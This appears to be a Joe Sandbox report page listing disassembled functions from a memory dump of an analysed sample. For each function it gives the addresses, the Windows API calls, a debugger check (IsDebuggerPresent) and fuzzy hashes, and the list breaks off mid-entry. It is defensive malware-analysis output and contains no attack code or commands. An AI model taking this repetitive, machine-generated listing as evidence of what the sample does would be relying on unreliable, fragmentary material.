Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 906e5e621d442e6e4decc2e1cd4ee39d0c96590b823cffc7b057896360bb9fac
Instruction ID: 2a081cd010179612ca9e28ace45346c775b83597013f1ffece1c77c2d2404303
Opcode Fuzzy Hash: 906e5e621d442e6e4decc2e1cd4ee39d0c96590b823cffc7b057896360bb9fac
Instruction Fuzzy Hash: 2C618E7192020B9FDF28DF28CC82BBA77A8EF14344F1451A9E916C6685EB74D981DB70

Function 00D93C11 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00D93D09
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00D93D13
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 00D93D20

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 33bd949e7aecc262a7e8491584009fb80ea4171b2e5e11ddc1d0b62ef5518a95
Instruction ID: a054b5d9949cc68d3dc741cde28361c6ba4b331d15b990fbf17778a827033bcb
Opcode Fuzzy Hash: 33bd949e7aecc262a7e8491584009fb80ea4171b2e5e11ddc1d0b62ef5518a95
Instruction Fuzzy Hash: FA31B275901228DBCB21EF28D98979DBBB8FF18710F5046DAE41CA6251EB709F818F64

Function 00DA0C16 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00DA0B71,?,?,00000008,?,?,00DA700B,00000000), ref: 00DA0E43

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 75e336fd388154c3a80b14e716efde8ee19b6efae319f32c2a431ff01fbf2d04
Instruction ID: 81b6b90a5b50405d7f51ff125febc2b5716847b04ca27ae1c2089a328f4f21d4
Opcode Fuzzy Hash: 75e336fd388154c3a80b14e716efde8ee19b6efae319f32c2a431ff01fbf2d04
Instruction Fuzzy Hash: 6DB11A326106099FDB15CF28C48AB657FA1FF46364F298658E8D9CF2A1C335EA91CB50

Function 00D8B2B8 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00D8B2CE

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: f261878a24d43c1d1217926e4e46c3085d4ee72481f29669754987e665132ff8
Instruction ID: 0b1ec9d5558d224c388a84a196033ed532e7d3859c96b1a6c29f8bbb58a5f537
Opcode Fuzzy Hash: f261878a24d43c1d1217926e4e46c3085d4ee72481f29669754987e665132ff8
Instruction Fuzzy Hash: 4CA147B6900705DBDB19CF59E8816A9BBF0FB48324F28866AD455E73A0D7349940CF70

Function 00D9CBAF Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00D975D3: GetLastError.KERNEL32(?,?,00D9126E,00DB1540,0000000C), ref: 00D975D7
Part of subcall function 00D975D3: SetLastError.KERNEL32(00000000), ref: 00D97679

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00D9CC03

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 661997018082e7831bafcbb9f7f25a4d69945f8df51a2724f240acc86ba5c6c7
Instruction ID: 4c7b67dc849a3ef82613b99cee8193792176da425199010e808c635f71adf783
Opcode Fuzzy Hash: 661997018082e7831bafcbb9f7f25a4d69945f8df51a2724f240acc86ba5c6c7
Instruction Fuzzy Hash: 28219272624206ABDF28AB25DE81A7B77A8EF08710B14117AF905D6141EB75ED40CB70

Function 00D8FF5A Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 00D900CA

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 00166d77a42f594b982a2ef7f8b8c97585e7324e2c7f298d23c36512869d4006
Instruction ID: 5ab1afc0b5ccb7aea562a84258c58c96a5fa31786ee4dba2de836be85577d5a8
Opcode Fuzzy Hash: 00166d77a42f594b982a2ef7f8b8c97585e7324e2c7f298d23c36512869d4006
Instruction Fuzzy Hash: 37C1B9309007468FCF29CF68E988BBABFB5AF06304F184619D59AA7691C331E945CB70

Function 00D9C862 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00D975D3: GetLastError.KERNEL32(?,?,00D9126E,00DB1540,0000000C), ref: 00D975D7
Part of subcall function 00D975D3: SetLastError.KERNEL32(00000000), ref: 00D97679

EnumSystemLocalesW.KERNEL32(00D9C8FD,00000001,00000000,?,?,?,00D9C6ED,00000000), ref: 00D9C8D4

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 9fc7cc30974e759cc144cc8f29200241227611af03ad2437d7ed2705ec39e21e
Instruction ID: 5ef2fe7c688ed6d82cf93a5665b8cd4514bad405afbef639b2e414ab75693b54
Opcode Fuzzy Hash: 9fc7cc30974e759cc144cc8f29200241227611af03ad2437d7ed2705ec39e21e
Instruction Fuzzy Hash: D011253B6143059FDF18AF39C8916BABBA2FF84358B18442DE94787A40E371A902C760

Function 00D9CCCF Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00D975D3: GetLastError.KERNEL32(?,?,00D9126E,00DB1540,0000000C), ref: 00D975D7
Part of subcall function 00D975D3: SetLastError.KERNEL32(00000000), ref: 00D97679

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00D9CD23

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: a0ccaae2778d53ac4eaf82f567407d6402fcae9cb618f6bd10cd1d8b365cc483
Instruction ID: e6ab74db627187a6a6dc905e4d4e70aac977216cfdec6788a2788e72c04e860c
Opcode Fuzzy Hash: a0ccaae2778d53ac4eaf82f567407d6402fcae9cb618f6bd10cd1d8b365cc483
Instruction Fuzzy Hash: 5811C672620206EBDF24AB68DC46ABB77E8EF04710B10017AF501D7281EB74ED00C7B0

Function 00D9CE7C Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00D975D3: GetLastError.KERNEL32(?,?,00D9126E,00DB1540,0000000C), ref: 00D975D7
Part of subcall function 00D975D3: SetLastError.KERNEL32(00000000), ref: 00D97679

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00D9CB19,00000000,00000000,?), ref: 00D9CEA8

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 56e60d5418110dfdcf1ff1d60418ac54bf009a56f8f0ac309d092e4309488cd9
Instruction ID: 3e976ce1c21d135cac57bb4a6fe49f7f5150bab1e7818d7c704a2ca844b4ba0b
Opcode Fuzzy Hash: 56e60d5418110dfdcf1ff1d60418ac54bf009a56f8f0ac309d092e4309488cd9
Instruction Fuzzy Hash: 7A01DB36A24116ABDF189A2488456BB3758DB40354F154429BC43E7180EA70EE41C6F4

Function 00D9CB50 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 00D975D3: GetLastError.KERNEL32(?,?,00D9126E,00DB1540,0000000C), ref: 00D975D7
Part of subcall function 00D975D3: SetLastError.KERNEL32(00000000), ref: 00D97679

EnumSystemLocalesW.KERNEL32(00D9CBAF,00000001,?,?,?,?,00D9C6B5,?), ref: 00D9CB9A

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 9291aac8f86cb5023ff0f676d040a6576edb9dd95285e1824055640479d099e7
Instruction ID: cb31c30d7e1ef97d943ac3f9c21d024eceb2091a80029a3340816ae61f0a6081
Opcode Fuzzy Hash: 9291aac8f86cb5023ff0f676d040a6576edb9dd95285e1824055640479d099e7
Instruction Fuzzy Hash: D5F0F6362143045FDF146F39D886B7A7BD1EF8076CF09842DF9468B680D6B1AD02C670

Function 00D98610 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 00D93EA8: EnterCriticalSection.KERNEL32(?,?,00D97A60,?,00DB1970,00000008,00D97952,?,?,?), ref: 00D93EB7

EnumSystemLocalesW.KERNEL32(00D98603,00000001,00DB19F0,0000000C,00D97F68,?), ref: 00D98648

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 588b51672622ed04edebf5fa9316c92951541345904f40623e31d351ddebf7f1
Instruction ID: 12e2e6c0feb5102eb877ec9e43884f59ac7aabdc4b18f85bfa01fecb9b22b48d
Opcode Fuzzy Hash: 588b51672622ed04edebf5fa9316c92951541345904f40623e31d351ddebf7f1
Instruction Fuzzy Hash: EAF03C76A00304EFDB00EF58E802B9977E0EB45761F00421AF410DB3A1CB7559448FB0

Function 00D9CC84 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00D975D3: GetLastError.KERNEL32(?,?,00D9126E,00DB1540,0000000C), ref: 00D975D7
Part of subcall function 00D975D3: SetLastError.KERNEL32(00000000), ref: 00D97679

EnumSystemLocalesW.KERNEL32(00D9CCCF,00000001,?,?,?,00D9C70F,?), ref: 00D9CCBB

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 3d49975bcc6746b2d4a67397cc9adb8ba32c2749e6dea13801cda245229dc57d
Instruction ID: e168e4af31570a71832e8d44fbe9d28bdc2f2033f683bba93c2e0df8fef59a0c
Opcode Fuzzy Hash: 3d49975bcc6746b2d4a67397cc9adb8ba32c2749e6dea13801cda245229dc57d
Instruction Fuzzy Hash: 25F0E53A34020597CF04AF35D85566ABF95EFC1750B0A4459EA0A8B390C6719942C7B0

Function 00D9806C Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00D92C04,?,20001004,00000000,00000002,?,?,00D91B16), ref: 00D980A0

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 91c8d5c3f81042b81af75a23d3f56cf1820271e7a247a65a33845066f834da30
Instruction ID: b4151ae7aacf134806a26d5847d7e24d2e18ea5bb717d9d1aa2c5253e892ea67
Opcode Fuzzy Hash: 91c8d5c3f81042b81af75a23d3f56cf1820271e7a247a65a33845066f834da30
Instruction Fuzzy Hash: 49E01A31940218FBCF222F61DC08E9E3F25EB45B51F044010F959652218B32C921AAF4

Function 00D8B640 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000B761), ref: 00D8B645

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 19c6f6f09d1edadb9434f8b44ee7cd9708751c3f39174783ac239647fc209504
Instruction ID: 1287bda977ee5439e3bd784a0e4f0366dba50b3dabebd69b63dd44c2624dc381
Opcode Fuzzy Hash: 19c6f6f09d1edadb9434f8b44ee7cd9708751c3f39174783ac239647fc209504
Instruction Fuzzy Hash:

Function 00D98D25 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00D98D25

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 52dddbca363546e0fd4c47fe27d3ce7f658cf4185077610079753a4c010fb2ef
Instruction ID: 120d84bce2327c36babc349fc595bf34b8af0ad2ef0e60a749ae228d16620355
Opcode Fuzzy Hash: 52dddbca363546e0fd4c47fe27d3ce7f658cf4185077610079753a4c010fb2ef
Instruction Fuzzy Hash: 25A00270603315DF6B40CF355A0520A3999A94559170945556415C5261D665C5505A15

Function 00DB5000 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0907baeb3b7986130046a6955fb8050eedc45ce42398b13137112e4e65b2121
Instruction ID: 25a2f028c61bc3b2c8eef277b50fb991164557d298ca31f6b83c76cce624c355
Opcode Fuzzy Hash: a0907baeb3b7986130046a6955fb8050eedc45ce42398b13137112e4e65b2121
Instruction Fuzzy Hash: F55177B4D1020A9FCB40DFA8D591AEEBBF4EB09350F24545AE815FB210E634AA41CFA5

Function 00DB55D0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1739694978.0000000000DB5000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739669444.0000000000DB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739682451.0000000000DB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739708743.0000000000DB7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739724826.0000000000DBA000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_X2hna87N3Y.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a71f0eae71ac0437cfc89747f09ac92ea174a64d373775db1beab66c8ca7f672
Instruction ID: bfb3e9d1acac1dbb3a61a4f247fd20356cb29c9a64a72400f978c420e92b6908
Opcode Fuzzy Hash: a71f0eae71ac0437cfc89747f09ac92ea174a64d373775db1beab66c8ca7f672
Instruction Fuzzy Hash: B1D0923A645A58EFC211CF49E440D41F7B8FB8D670B154166EA0893B20C331FC11CAE0

Function 00DA5DA2 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,00DA5D8D,?,?,?,?,?,?,?,?,?), ref: 00DA5E48
__alloca_probe_16.LIBCMT ref: 00DA5F03
__alloca_probe_16.LIBCMT ref: 00DA5F92
__freea.LIBCMT ref: 00DA5FDD
__freea.LIBCMT ref: 00DA5FE3
__freea.LIBCMT ref: 00DA6019
__freea.LIBCMT ref: 00DA601F
__freea.LIBCMT ref: 00DA602F

Memory Dump Source

Source File: 00000000.00000002.1739631448.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1739612609.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1739654667.0000000000DA8000.00000002.00000001.01000000.00000003.sdmpDownload File
